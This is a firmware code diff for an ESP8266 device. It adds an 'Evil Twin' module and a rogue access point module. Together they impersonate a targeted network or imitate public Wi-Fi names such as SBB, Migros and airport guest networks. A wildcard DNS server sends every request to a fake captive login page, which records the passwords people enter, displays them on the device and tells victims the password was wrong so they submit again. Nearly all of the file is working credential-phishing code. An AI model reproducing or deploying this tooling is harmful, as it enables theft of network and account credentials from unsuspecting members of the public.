// --- Helper to Send Captive Portal HTML (Chunked) ---
|
||||
void sendCaptivePortalHTML(const char* ssid, const char* error_message) {
|
||||
// Find placeholders
|
||||
const char* ssidPlaceholderPos = strstr(captivePortalHTML, "%s");
|
||||
const char* errorPlaceholderPos = ssidPlaceholderPos ? strstr(ssidPlaceholderPos + 2, "%s") : nullptr; // Find second %s
|
||||
|
||||
if (!ssidPlaceholderPos || !errorPlaceholderPos) {
|
||||
Serial.println("MitM Web Helper: Error! Placeholders not found in HTML.");
|
||||
webServer.send(500, "text/plain", "Internal Server Error: Portal template invalid.");
|
||||
return;
|
||||
}
|
||||
|
||||
// Calculate lengths
|
||||
size_t part1Len = ssidPlaceholderPos - captivePortalHTML;
|
||||
size_t ssidLen = strlen(ssid);
|
||||
size_t part2Len = errorPlaceholderPos - (ssidPlaceholderPos + 2);
|
||||
size_t errorLen = strlen(error_message);
|
||||
size_t part3Len = strlen(errorPlaceholderPos + 2);
|
||||
size_t totalLen = part1Len + ssidLen + part2Len + errorLen + part3Len;
|
||||
|
||||
// Send headers
|
||||
webServer.setContentLength(totalLen);
|
||||
webServer.send(200, "text/html", ""); // Send headers, empty content
|
||||
|
||||
// Send content in chunks
|
||||
webServer.sendContent_P(captivePortalHTML, part1Len);
|
||||
webServer.sendContent(ssid, ssidLen);
|
||||
webServer.sendContent_P(ssidPlaceholderPos + 2, part2Len);
|
||||
webServer.sendContent(error_message, errorLen);
|
||||
webServer.sendContent_P(errorPlaceholderPos + 2, part3Len);
|
||||
|
||||
webServer.client().stop(); // Close connection
|
||||
Serial.println("MitM Web Helper: Finished sending chunked response.");
|
||||
}
|
||||
|
||||
// --- Web Server Handlers ---
|
||||
|
||||
void handleRoot() {
|
||||
Serial.println("MitM Web: Serving root page (chunked).");
|
||||
const char* error_msg = "";
|
||||
if (show_login_error) {
|
||||
Serial.println("MitM Web: Login error flag is set, showing error message.");
|
||||
error_msg = "Incorrect Password. Please try again.";
|
||||
show_login_error = false; // Reset the flag after using it
|
||||
}
|
||||
sendCaptivePortalHTML(target_ssid, error_msg);
|
||||
}
|
||||
|
||||
void handleLogin() {
|
||||
Serial.println("MitM Web: Received POST to /login");
|
||||
if (webServer.hasArg("password")) {
|
||||
String password = webServer.arg("password");
|
||||
Serial.printf("MitM Web: Potential Password Captured: %s\n", password.c_str());
|
||||
|
||||
// Store the password in the log array (circular buffer)
|
||||
strncpy(logged_passwords[logged_password_idx], password.c_str(), MAX_PASSWORD_LEN);
|
||||
logged_passwords[logged_password_idx][MAX_PASSWORD_LEN] = '\0'; // Ensure null termination
|
||||
logged_password_idx = (logged_password_idx + 1) % MAX_LOGGED_PASSWORDS; // Move to next slot, wrap around
|
||||
|
||||
captured_password_count++; // Increment count
|
||||
new_password_captured = true;
|
||||
capture_alarm_start_time = millis();
|
||||
needsRedraw = true; // Force UI redraw to update count if needed
|
||||
|
||||
// Set the flag to show the error on the next page load
|
||||
show_login_error = true;
|
||||
|
||||
// Redirect the client back to the root page
|
||||
webServer.sendHeader("Location", "/", true);
|
||||
webServer.send(302, "text/plain", "Password Incorrect - Redirecting..."); // 302 Found
|
||||
} else {
|
||||
Serial.println("MitM Web: Login POST received, but no 'password' argument.");
|
||||
webServer.send(400, "text/plain", "Bad Request: Missing password field.");
|
||||
}
|
||||
}
|
||||
|
||||
void handleNotFound() {
|
||||
// Redirect to root page (captive portal trigger)
|
||||
Serial.println("MitM Web: handleNotFound triggered, redirecting.");
|
||||
webServer.sendHeader("Location", "/", true); // Redirect to root
|
||||
webServer.send(302, "text/plain", ""); // 302 Found status code
|
||||
}
|
||||
|
||||
// --- Draw MitM UI ---
|
||||
void mitm_draw() {
|
||||
oled.setFont(u8g2_font_6x10_tf); // Ensure default font at start
|
||||
switch (currentMitmState) {
|
||||
case MITM_STATE_IDLE:
|
||||
// Draw Title
|
||||
oled.drawStr(0, 25, "Evil Twin Ready"); // Keep at default position for now
|
||||
|
||||
// Draw Target Label (Small)
|
||||
oled.setFont(u8g2_font_5x7_tf);
|
||||
oled.drawStr(0, 40, "Target SSID:");
|
||||
oled.setFont(u8g2_font_6x10_tf); // Back to default font
|
||||
|
||||
// Draw Target SSID (Default Font)
|
||||
oled.drawStr(0, 52, target_ssid);
|
||||
|
||||
// Draw Footer (Small)
|
||||
oled.setFont(u8g2_font_5x7_tf);
|
||||
oled.drawStr(0, SCREEN_HEIGHT - 1, "LONG: Select Target");
|
||||
oled.setFont(u8g2_font_6x10_tf); // Back to default font
|
||||
break;
|
||||
case MITM_STATE_SELECT_TARGET:
|
||||
{ // Block scope for local variables
|
||||
oled.drawStr(0, 24, "Select Target AP:");
|
||||
// oled.drawLine(0, 26, SCREEN_WIDTH, 26); // Line removed
|
||||
|
||||
const int items_per_page = 3; // Keep showing 3 APs
|
||||
int yPos = 32; // Start list items at Y=32
|
||||
int line_height = 11;
|
||||
|
||||
if (ap_count == 0) {
|
||||
oled.drawStr(10, 40, "[No APs Found]");
|
||||
oled.drawStr(10, 52, "Run Scanner First!");
|
||||
} else {
|
||||
for (int i = 0; i < items_per_page; ++i) {
|
||||
int current_item_index = mitm_display_offset + i;
|
||||
if (current_item_index >= ap_count) break; // Stop if we run out of APs
|
||||
|
||||
AccessPointInfo* ap = &ap_list[current_item_index];
|
||||
char buffer[40]; // <<< INCREASE BUFFER SIZE (e.g., to 40)
|
||||
char select_char = (current_item_index == mitm_selected_ap_index) ? '>' : ' ';
|
||||
String encStr = encryption_to_string(ap->encryption); // Assuming you have this function from scanner
|
||||
|
||||
snprintf(buffer, sizeof(buffer), "%c%-16.16s %s", select_char, ap->ssid[0] ? ap->ssid : "[Hidden]", encStr.c_str());
|
||||
oled.drawStr(0, yPos + (i * line_height), buffer);
|
||||
}
|
||||
// Draw scroll indicators if needed (similar to scanner)
|
||||
if (ap_count > items_per_page) {
|
||||
if (mitm_display_offset > 0) oled.drawTriangle(SCREEN_WIDTH - 6, 28, SCREEN_WIDTH - 9, 31, SCREEN_WIDTH - 3, 31); // Up (Y=28-31)
|
||||
if (mitm_display_offset + items_per_page < ap_count) oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down
|
||||
}
|
||||
}
|
||||
oled.drawStr(0, SCREEN_HEIGHT - 1, "S:Scroll L:Select");
|
||||
}
|
||||
break;
|
||||
case MITM_STATE_STARTING:
|
||||
oled.drawStr(0, 30, "MitM Starting...");
|
||||
break;
|
||||
case MITM_STATE_RUNNING:
|
||||
{ // Block scope
|
||||
// Draw Title (Moved up)
|
||||
oled.drawStr(0, 10, "Evil Twin Active"); // Draw just below header line
|
||||
|
||||
// Draw AP Info
|
||||
oled.drawStr(0, 24, "AP:");
|
||||
oled.drawStr(18, 24, target_ssid);
|
||||
|
||||
// Draw Status (Waiting animation or Logged count)
|
||||
char footer_text[20]; // Buffer for footer text
|
||||
if (captured_password_count > 0) {
|
||||
// --- Handle Capture Alarm & Blinking ---
|
||||
bool draw_inverted = false;
|
||||
bool draw_normal = true; // Assume we draw normally unless blinking off
|
||||
|
||||
if (new_password_captured) {
|
||||
if (millis() - capture_alarm_start_time < CAPTURE_ALARM_DURATION) {
|
||||
draw_inverted = true; // Still within alarm duration
|
||||
draw_normal = false; // Don't draw normally during alarm
|
||||
} else {
|
||||
new_password_captured = false; // Alarm duration ended
|
||||
}
|
||||
}
|
||||
|
||||
// If alarm is not active, handle blinking
|
||||
if (!draw_inverted) {
|
||||
// Toggle visibility based on time interval
|
||||
logged_text_visible = (millis() / LOGGED_BLINK_INTERVAL) % 2 == 0;
|
||||
if (!logged_text_visible) {
|
||||
draw_normal = false; // Don't draw if in the "off" blink phase
|
||||
}
|
||||
}
|
||||
// --- End Alarm & Blinking Handling ---
|
||||
|
||||
char count_buffer[20];
|
||||
snprintf(count_buffer, sizeof(count_buffer), "Logged: %d", captured_password_count);
|
||||
|
||||
// Draw the "Logged: X" text (normal or inverted)
|
||||
int text_y = 38;
|
||||
int text_width = oled.getStrWidth(count_buffer);
|
||||
int text_height = 10; // Font height
|
||||
if (draw_inverted) {
|
||||
oled.setDrawColor(1); // Set color to foreground (white)
|
||||
oled.drawBox(0, text_y - text_height + 1, text_width + 2, text_height + 1); // Draw black box behind text area
|
||||
oled.setDrawColor(0); // Set color to background (black) for text
|
||||
oled.drawStr(1, text_y, count_buffer); // Draw text slightly offset within box
|
||||
oled.setDrawColor(1); // IMPORTANT: Reset draw color to foreground for other elements
|
||||
} else if (draw_normal) { // Only draw normally if not inverted and not in blink "off" phase
|
||||
oled.drawStr(0, text_y, count_buffer); // Draw normally
|
||||
}
|
||||
|
||||
strncpy(footer_text, "S:Logs L:Stop", sizeof(footer_text));
|
||||
} else {
|
||||
char waiting_buffer[15];
|
||||
snprintf(waiting_buffer, sizeof(waiting_buffer), "Waiting %c", waiting_anim_char);
|
||||
oled.drawStr(0, 38, waiting_buffer); // Draw waiting text + animation
|
||||
strncpy(footer_text, "LONG: Stop", sizeof(footer_text));
|
||||
}
|
||||
footer_text[sizeof(footer_text)-1] = '\0'; // Ensure null termination
|
||||
|
||||
// Draw Footer (Small)
|
||||
oled.setFont(u8g2_font_5x7_tf);
|
||||
oled.drawStr(0, SCREEN_HEIGHT - 1, footer_text);
|
||||
oled.setFont(u8g2_font_6x10_tf); // Back to default font
|
||||
} // End block scope
|
||||
break;
|
||||
case MITM_STATE_STOPPING:
|
||||
oled.drawStr(0, 30, "MitM Stopping...");
|
||||
break;
|
||||
case MITM_STATE_VIEW_LOGS:
|
||||
{ // Block scope for VIEW_LOGS state
|
||||
int displayable_logs = min(captured_password_count, MAX_LOGGED_PASSWORDS);
|
||||
int font_height = 10; // Approx height of the font used (6x10)
|
||||
int line_spacing = font_height + 1; // Y distance between lines (11)
|
||||
int start_y = 24; // Y position for the first line of the password (Reverted)
|
||||
|
||||
if (displayable_logs == 0) {
|
||||
oled.drawStr(10, 40, "[No Logs Yet]"); // Keep this centered vertically
|
||||
} else {
|
||||
// --- Draw Scroll Indicators (Page Up/Down) ---
|
||||
// Up arrow if not showing the first log (index 0)
|
||||
if (view_log_scroll_offset > 0) {
|
||||
oled.drawTriangle(SCREEN_WIDTH - 6, 16, SCREEN_WIDTH - 9, 20, SCREEN_WIDTH - 3, 20); // Up
|
||||
}
|
||||
// Down arrow if not showing the last log
|
||||
if (view_log_scroll_offset < displayable_logs - 1) {
|
||||
oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down
|
||||
}
|
||||
|
||||
// --- Calculate index of the single password to display ---
|
||||
int log_index_to_display = view_log_scroll_offset; // 0-based index of the log entry
|
||||
|
||||
// Calculate actual index in circular buffer
|
||||
int start_idx;
|
||||
if (captured_password_count <= MAX_LOGGED_PASSWORDS) {
|
||||
start_idx = 0;
|
||||
} else {
|
||||
start_idx = logged_password_idx;
|
||||
}
|
||||
int actual_idx = (start_idx + log_index_to_display) % MAX_LOGGED_PASSWORDS;
|
||||
|
||||
// --- Draw the selected password across up to 4 lines ---
|
||||
const char* password = logged_passwords[actual_idx];
|
||||
int password_len = strlen(password);
|
||||
|
||||
// Draw Prefix "N:" (e.g., "1:", "2:")
|
||||
char prefix_buffer[6];
|
||||
snprintf(prefix_buffer, sizeof(prefix_buffer), "%d:", log_index_to_display + 1);
|
||||
oled.drawStr(0, start_y, prefix_buffer); // Draw prefix on the first line
|
||||
int prefix_width = oled.getStrWidth(prefix_buffer);
|
||||
prefix_width += 2; // Gap
|
||||
|
||||
const int chars_per_line = 17;
|
||||
char line_buf[chars_per_line + 1];
|
||||
int current_offset = 0; // Start at the beginning of the password string
|
||||
|
||||
// Draw up to 4 lines
|
||||
for (int line_num = 0; line_num < 4; ++line_num) {
|
||||
if (current_offset >= password_len) break; // Stop if we've drawn the whole password
|
||||
|
||||
int chars_to_draw = min(password_len - current_offset, chars_per_line);
|
||||
strncpy(line_buf, password + current_offset, chars_to_draw);
|
||||
line_buf[chars_to_draw] = '\0';
|
||||
oled.drawStr(prefix_width, start_y + (line_num * line_spacing), line_buf);
|
||||
|
||||
current_offset += chars_to_draw; // Move offset for the next line
|
||||
}
|
||||
}
|
||||
// --- Draw Footer with smaller font ---
|
||||
oled.setFont(u8g2_font_5x7_tf); // Use a smaller font (e.g., 5x7)
|
||||
oled.drawStr(0, SCREEN_HEIGHT - 1, "S:Next L:Back"); // Updated footer text
|
||||
oled.setFont(u8g2_font_6x10_tf); // <<< IMPORTANT: Set font back to default for next draw cycle
|
||||
} // End block scope
|
||||
break;
|
||||
default:
|
||||
oled.drawStr(0, 30, "MitM Unknown State");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// --- Handle Button Input ---
|
||||
void mitm_handle_input(ButtonPressType pressType) {
|
||||
switch (currentMitmState) {
|
||||
case MITM_STATE_IDLE:
|
||||
if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
// Enter selection mode
|
||||
currentMitmState = MITM_STATE_SELECT_TARGET;
|
||||
mitm_selected_ap_index = 0; // Reset selection
|
||||
mitm_display_offset = 0;
|
||||
needsRedraw = true;
|
||||
Serial.println("MitM: Entering Target Selection Mode.");
|
||||
}
|
||||
break;
|
||||
|
||||
case MITM_STATE_SELECT_TARGET:
|
||||
if (ap_count > 0) { // Only handle input if there are APs
|
||||
const int items_per_page = 3; // <<< Update items per page here too
|
||||
if (pressType == ButtonPressType::SHORT_PRESS) {
|
||||
// Scroll down
|
||||
mitm_selected_ap_index = (mitm_selected_ap_index + 1) % ap_count;
|
||||
// Adjust display offset
|
||||
if (mitm_selected_ap_index < mitm_display_offset) mitm_display_offset = mitm_selected_ap_index;
|
||||
else if (mitm_selected_ap_index >= mitm_display_offset + items_per_page) mitm_display_offset = mitm_selected_ap_index - items_per_page + 1;
|
||||
needsRedraw = true;
|
||||
} else if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
// Select the highlighted AP
|
||||
AccessPointInfo* selectedAP = &ap_list[mitm_selected_ap_index];
|
||||
strncpy(target_ssid, selectedAP->ssid, sizeof(target_ssid) - 1);
|
||||
target_ssid[sizeof(target_ssid) - 1] = '\0'; // Ensure null termination
|
||||
memcpy(target_bssid, selectedAP->bssid, 6);
|
||||
Serial.printf("MitM: Target Selected: %s (%s)\n", target_ssid, macToString(target_bssid).c_str());
|
||||
mitm_start(); // Attempt to start the attack with the selected target
|
||||
// mitm_start will change the state if successful
|
||||
}
|
||||
} else if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
// Allow long press to go back even if list is empty
|
||||
currentMitmState = MITM_STATE_IDLE;
|
||||
needsRedraw = true;
|
||||
}
|
||||
break;
|
||||
|
||||
case MITM_STATE_RUNNING:
|
||||
if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
mitm_stop();
|
||||
} else if (pressType == ButtonPressType::SHORT_PRESS) {
|
||||
// Enter log view mode if passwords have been captured
|
||||
if (captured_password_count > 0) {
|
||||
currentMitmState = MITM_STATE_VIEW_LOGS;
|
||||
view_log_scroll_offset = 0; // Start scroll at the top
|
||||
needsRedraw = true;
|
||||
Serial.println("MitM: Entering Log View Mode.");
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case MITM_STATE_STARTING:
|
||||
case MITM_STATE_STOPPING:
|
||||
// Ignore input while starting/stopping for now
|
||||
break;
|
||||
|
||||
case MITM_STATE_VIEW_LOGS:
|
||||
{ // Block scope
|
||||
int displayable_logs = min(captured_password_count, MAX_LOGGED_PASSWORDS);
|
||||
|
||||
if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
// Go back to running state
|
||||
currentMitmState = MITM_STATE_RUNNING;
|
||||
needsRedraw = true;
|
||||
Serial.println("MitM: Exiting Log View Mode.");
|
||||
} else if (pressType == ButtonPressType::SHORT_PRESS) {
|
||||
// Go to the next password log (if possible)
|
||||
if (displayable_logs > 0 && view_log_scroll_offset < displayable_logs - 1) {
|
||||
view_log_scroll_offset++;
|
||||
needsRedraw = true;
|
||||
} else {
|
||||
// Optional: Add wrap-around or visual feedback if at the end
|
||||
needsRedraw = true;
|
||||
}
|
||||
}
|
||||
} // End block scope
|
||||
break;
|
||||
|
||||
default:
|
||||
// Should not happen, maybe return to idle on long press?
|
||||
if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
currentMitmState = MITM_STATE_IDLE;
|
||||
needsRedraw = true;
|
||||
}
|
||||
break;
|
||||
}
|
||||
// Old logic:
|
||||
/* if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
if (currentMitmState == MITM_STATE_RUNNING || currentMitmState == MITM_STATE_CAPTURED) {
|
||||
mitm_stop();
|
||||
} else if (currentMitmState == MITM_STATE_IDLE) {
|
||||
mitm_start();
|
||||
}
|
||||
// If starting/stopping, long press might cancel or do nothing yet
|
||||
} */
|
||||
// Short press could be used later for selecting targets or viewing details
|
||||
}
|
||||
|
||||
// --- Get Current State ---
|
||||
MitmState mitm_get_current_state() {
|
||||
return currentMitmState;
|
||||
}
|
43
src/mitm.h
Normal file
43
src/mitm.h
Normal file
@ -0,0 +1,43 @@
|
||||
#ifndef MITM_H
|
||||
#define MITM_H
|
||||
|
||||
#include <Arduino.h>
|
||||
#include "config.h" // Include if needed for specific pins or settings
|
||||
#include "ui.h" // For ButtonPressType, maybe UIState if needed internally
|
||||
|
||||
// --- MitM Attack States ---
|
||||
typedef enum {
|
||||
MITM_STATE_IDLE, // Not active, ready to be configured/started
|
||||
MITM_STATE_SELECT_TARGET,// <<< UI state for selecting the target AP
|
||||
MITM_STATE_STARTING, // Setting up Rogue AP, DNS, Web Server, Deauth
|
||||
MITM_STATE_RUNNING, // Actively waiting for clients and credentials
|
||||
MITM_STATE_CAPTURED, // Credentials have been captured
|
||||
MITM_STATE_VIEW_LOGS, // <<< New state to view captured passwords
|
||||
MITM_STATE_STOPPING // Cleaning up resources
|
||||
} MitmState;
|
||||
|
||||
// --- Function Declarations ---
|
||||
|
||||
// Initialization (called once in setup)
|
||||
void mitm_init();
|
||||
|
||||
// Start the MitM attack process (potentially takes target AP info)
|
||||
// void mitm_start(const AccessPointInfo& targetAP); // Example if using scanner data
|
||||
void mitm_start(); // Simpler start for now
|
||||
|
||||
// Stop the MitM attack and clean up
|
||||
void mitm_stop();
|
||||
|
||||
// Main update loop (called repeatedly in loop when in MITM_MODE)
|
||||
void mitm_update();
|
||||
|
||||
// Draw the MitM UI on the OLED
|
||||
void mitm_draw();
|
||||
|
||||
// Handle button input when in MITM_MODE
|
||||
void mitm_handle_input(ButtonPressType pressType);
|
||||
|
||||
// Get the current internal state of the MitM module
|
||||
MitmState mitm_get_current_state(); // Optional getter
|
||||
|
||||
#endif // MITM_H
|
635
src/rogue_ap.cpp
Normal file
635
src/rogue_ap.cpp
Normal file
@ -0,0 +1,635 @@
|
||||
#include "rogue_ap.h"
|
||||
#include "ui.h" // May need UI interaction later
|
||||
#include "config.h" // For screen dimensions etc.
|
||||
#include "utils.h" // For utility functions if needed
|
||||
#include <ESP8266WiFi.h>
|
||||
#include <DNSServer.h>
|
||||
#include <ESP8266WebServer.h>
|
||||
#include <vector> // Needed for web server argument handling
|
||||
|
||||
// --- External UI Elements ---
|
||||
extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled;
|
||||
extern bool needsRedraw;
|
||||
extern UIState currentState; // To potentially switch back to main menu
|
||||
|
||||
// --- Predefined SSIDs ---
|
||||
const char* rogue_ap_ssid_options[ROGUE_AP_SSID_COUNT] = {
|
||||
"Swiscom_Free_WiFi",
|
||||
"Airport_Guest_WiFi",
|
||||
"Migros_Guest_WiFi", // Duplicate as requested
|
||||
"Mall_CH_WiFi",
|
||||
"FreeStadtNetz",
|
||||
"SBB_Free_WiFi",
|
||||
"Hotel_Guest_CH",
|
||||
"Campus_WiFi_Open",
|
||||
"OpenParkingNet",
|
||||
"Klinik_GuestWiFi",
|
||||
"Library_Free_CH",
|
||||
"Messe_Open",
|
||||
"Fitness_GuestWiFi",
|
||||
"Mobility_OpenNet",
|
||||
"Migros_Guest_WiFi", // Duplicate as requested
|
||||
"Cafe_Open_WiFi",
|
||||
"Post_Free_WiFi" // Added new SSID
|
||||
};
|
||||
|
||||
// --- State Variables ---
|
||||
RogueAPState currentRogueAPState = ROGUE_AP_STATE_IDLE;
|
||||
static int selected_ssid_index = 0;
|
||||
static int display_ssid_offset = 0; // For scrolling SSID list
|
||||
static char active_ssid[MAX_SSID_LEN + 1] = ""; // Currently active SSID
|
||||
|
||||
// --- Credential Logging ---
|
||||
RogueCapturedCredentials captured_credentials_log[MAX_ROGUE_LOGS];
|
||||
int captured_creds_count = 0; // Total number of *sets* captured
|
||||
static int next_log_slot = 0; // Index for the next log entry (circular)
|
||||
static int view_log_scroll_offset = 0; // For scrolling through logs
|
||||
static bool new_capture_flag = false; // Flag for capture alert
|
||||
static unsigned long capture_alert_start_time = 0;
|
||||
const unsigned long CAPTURE_ALERT_DURATION = 1500; // ms
|
||||
|
||||
// --- Network Server Instances ---
|
||||
static DNSServer dnsServer_rogue;
|
||||
static ESP8266WebServer webServer_rogue(80);
|
||||
static IPAddress rogueAP_IP(192, 168, 4, 1);
|
||||
static IPAddress rogueAP_NetMsk(255, 255, 255, 0);
|
||||
|
||||
// --- Waiting Animation State (similar to MitM) ---
|
||||
static char waiting_anim_char_rogue = '|';
|
||||
static unsigned long last_anim_time_rogue = 0;
|
||||
const unsigned long ROGUE_ANIM_INTERVAL = 250; // ms
|
||||
|
||||
// --- Forward Declarations for Web Handlers ---
|
||||
void handleRoot_Rogue();
|
||||
void handleLogin_Rogue();
|
||||
void handleNotFound_Rogue();
|
||||
void sendCaptivePortalHTML_Rogue(const char* error_message);
|
||||
|
||||
// --- Initialization ---
|
||||
void rogue_ap_init() {
|
||||
Serial.println("Rogue AP Module Initialized.");
|
||||
currentRogueAPState = ROGUE_AP_STATE_IDLE;
|
||||
selected_ssid_index = 0;
|
||||
display_ssid_offset = 0;
|
||||
active_ssid[0] = '\0';
|
||||
captured_creds_count = 0;
|
||||
next_log_slot = 0;
|
||||
view_log_scroll_offset = 0;
|
||||
// Clear log buffer initially
|
||||
memset(captured_credentials_log, 0, sizeof(captured_credentials_log));
|
||||
}
|
||||
|
||||
// --- Start Rogue AP ---
|
||||
void rogue_ap_start() {
|
||||
if (currentRogueAPState != ROGUE_AP_STATE_SELECT_SSID) {
|
||||
Serial.println("Rogue AP Start: Cannot start, not in selection state.");
|
||||
return; // Should only start after selection
|
||||
}
|
||||
if (selected_ssid_index < 0 || selected_ssid_index >= ROGUE_AP_SSID_COUNT) {
|
||||
Serial.println("Rogue AP Start: Invalid SSID index selected.");
|
||||
currentRogueAPState = ROGUE_AP_STATE_IDLE; // Go back to idle
|
||||
needsRedraw = true;
|
||||
return;
|
||||
}
|
||||
|
||||
strncpy(active_ssid, rogue_ap_ssid_options[selected_ssid_index], MAX_SSID_LEN);
|
||||
active_ssid[MAX_SSID_LEN] = '\0'; // Ensure null termination
|
||||
|
||||
Serial.printf("Rogue AP Starting with SSID: %s\n", active_ssid);
|
||||
currentRogueAPState = ROGUE_AP_STATE_STARTING;
|
||||
needsRedraw = true;
|
||||
|
||||
// Reset logs for the new session
|
||||
captured_creds_count = 0;
|
||||
next_log_slot = 0;
|
||||
view_log_scroll_offset = 0;
|
||||
memset(captured_credentials_log, 0, sizeof(captured_credentials_log));
|
||||
|
||||
// Configure and start WiFi AP
|
||||
WiFi.mode(WIFI_AP);
|
||||
WiFi.softAPConfig(rogueAP_IP, rogueAP_IP, rogueAP_NetMsk);
|
||||
bool ap_started = WiFi.softAP(active_ssid); // Open network
|
||||
|
||||
if (ap_started) {
|
||||
Serial.printf("Rogue AP Started. IP: %s\n", WiFi.softAPIP().toString().c_str());
|
||||
|
||||
// Start DNS Server
|
||||
dnsServer_rogue.setErrorReplyCode(DNSReplyCode::NoError);
|
||||
dnsServer_rogue.start(53, "*", rogueAP_IP); // DNS port 53, redirect all domains
|
||||
Serial.println("Rogue AP: DNS Server Started.");
|
||||
|
||||
// Configure and Start Web Server
|
||||
webServer_rogue.on("/", HTTP_GET, handleRoot_Rogue);
|
||||
webServer_rogue.on("/login", HTTP_POST, handleLogin_Rogue); // Endpoint for form submission
|
||||
webServer_rogue.onNotFound(handleNotFound_Rogue); // Captive portal redirection
|
||||
webServer_rogue.begin();
|
||||
Serial.println("Rogue AP: Web Server Started.");
|
||||
|
||||
currentRogueAPState = ROGUE_AP_STATE_RUNNING;
|
||||
last_anim_time_rogue = millis(); // Reset animation timer
|
||||
} else {
|
||||
Serial.println("!!! Rogue AP: Failed to start SoftAP!");
|
||||
rogue_ap_stop(); // Cleanup on failure
|
||||
}
|
||||
needsRedraw = true;
|
||||
}
|
||||
|
||||
// --- Stop Rogue AP ---
|
||||
void rogue_ap_stop() {
|
||||
Serial.println("Rogue AP Stopping...");
|
||||
RogueAPState previousState = currentRogueAPState;
|
||||
currentRogueAPState = ROGUE_AP_STATE_STOPPING; // Indicate stopping phase
|
||||
|
||||
webServer_rogue.stop();
|
||||
dnsServer_rogue.stop();
|
||||
WiFi.softAPdisconnect(true); // Disconnect clients and stop AP
|
||||
WiFi.mode(WIFI_STA); // Return to STA mode (standard practice)
|
||||
WiFi.disconnect(); // Disconnect from any network
|
||||
|
||||
active_ssid[0] = '\0'; // Clear active SSID
|
||||
// Keep logs until explicitly cleared or next start
|
||||
// captured_creds_count = 0;
|
||||
// next_log_slot = 0;
|
||||
// view_log_scroll_offset = 0;
|
||||
// memset(captured_credentials_log, 0, sizeof(captured_credentials_log));
|
||||
|
||||
|
||||
Serial.println("Rogue AP Stopped.");
|
||||
// Only go back to IDLE if we weren't already stopping/idle
|
||||
if (previousState != ROGUE_AP_STATE_IDLE && previousState != ROGUE_AP_STATE_STOPPING) {
|
||||
currentRogueAPState = ROGUE_AP_STATE_IDLE;
|
||||
}
|
||||
needsRedraw = true;
|
||||
}
|
||||
|
||||
// --- Main Update Loop ---
|
||||
void rogue_ap_update() {
|
||||
if (currentRogueAPState == ROGUE_AP_STATE_RUNNING) {
|
||||
// Process network requests
|
||||
dnsServer_rogue.processNextRequest();
|
||||
webServer_rogue.handleClient();
|
||||
|
||||
// Update UI elements (animation/capture alert)
|
||||
unsigned long currentMillis = millis();
|
||||
|
||||
// Check if newly captured data alert needs reset
|
||||
if (new_capture_flag && (currentMillis - capture_alert_start_time > CAPTURE_ALERT_DURATION)) {
|
||||
new_capture_flag = false;
|
||||
needsRedraw = true; // Redraw to remove alert effect
|
||||
}
|
||||
|
||||
// Update waiting animation if no captures yet
|
||||
if (captured_creds_count == 0) {
|
||||
if (currentMillis - last_anim_time_rogue > ROGUE_ANIM_INTERVAL) {
|
||||
last_anim_time_rogue = currentMillis;
|
||||
switch (waiting_anim_char_rogue) {
|
||||
case '|': waiting_anim_char_rogue = '/'; break;
|
||||
case '/': waiting_anim_char_rogue = '-'; break;
|
||||
case '-': waiting_anim_char_rogue = '\\'; break;
|
||||
case '\\': waiting_anim_char_rogue = '|'; break;
|
||||
default: waiting_anim_char_rogue = '|';
|
||||
}
|
||||
needsRedraw = true;
|
||||
}
|
||||
}
|
||||
// No blinking effect for logged count in this version yet.
|
||||
}
|
||||
// No other background tasks needed for now
|
||||
yield(); // Basic yield
|
||||
}
|
||||
|
||||
// --- Captive Portal HTML ---
|
||||
const char* captivePortalHTML_Rogue = R"rawliteral(
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>Network Login</title>
|
||||
<style>
|
||||
html { height: 100%; }
|
||||
body {
|
||||
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
|
||||
background-color: #e7f1ff; /* Light blue background */
|
||||
margin: 0;
|
||||
padding: 20px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 100vh;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
.container {
|
||||
background-color: #ffffff;
|
||||
padding: 30px; /* Increased padding */
|
||||
border-radius: 8px;
|
||||
border: 1px solid #dee2e6; /* Subtle border */
|
||||
box-shadow: 0 4px 12px rgba(0,0,0,0.08); /* Slightly softer shadow */
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
h2 {
|
||||
text-align: center;
|
||||
color: #343a40; /* Darker grey */
|
||||
margin-bottom: 15px; /* Adjusted margin */
|
||||
font-size: 1.5em;
|
||||
font-weight: 500;
|
||||
}
|
||||
h3 {
|
||||
text-align: center;
|
||||
color: #6c757d; /* Muted grey */
|
||||
margin-top: 0;
|
||||
margin-bottom: 25px; /* Increased margin */
|
||||
font-weight: 400;
|
||||
font-size: 0.95em;
|
||||
line-height: 1.4;
|
||||
}
|
||||
label {
|
||||
display: block;
|
||||
margin-bottom: 8px; /* Increased margin */
|
||||
color: #495057; /* Darker label color */
|
||||
font-weight: 500; /* Slightly bolder label */
|
||||
font-size: 0.9em;
|
||||
}
|
||||
input[type=email], input[type=password] {
|
||||
width: 100%;
|
||||
padding: 12px 15px; /* Adjusted padding */
|
||||
margin-bottom: 15px; /* Increased margin */
|
||||
border: 1px solid #ced4da; /* Standard border color */
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
font-size: 1em;
|
||||
transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out; /* Smooth transition */
|
||||
box-shadow: inset 0 1px 2px rgba(0,0,0,0.075);
|
||||
}
|
||||
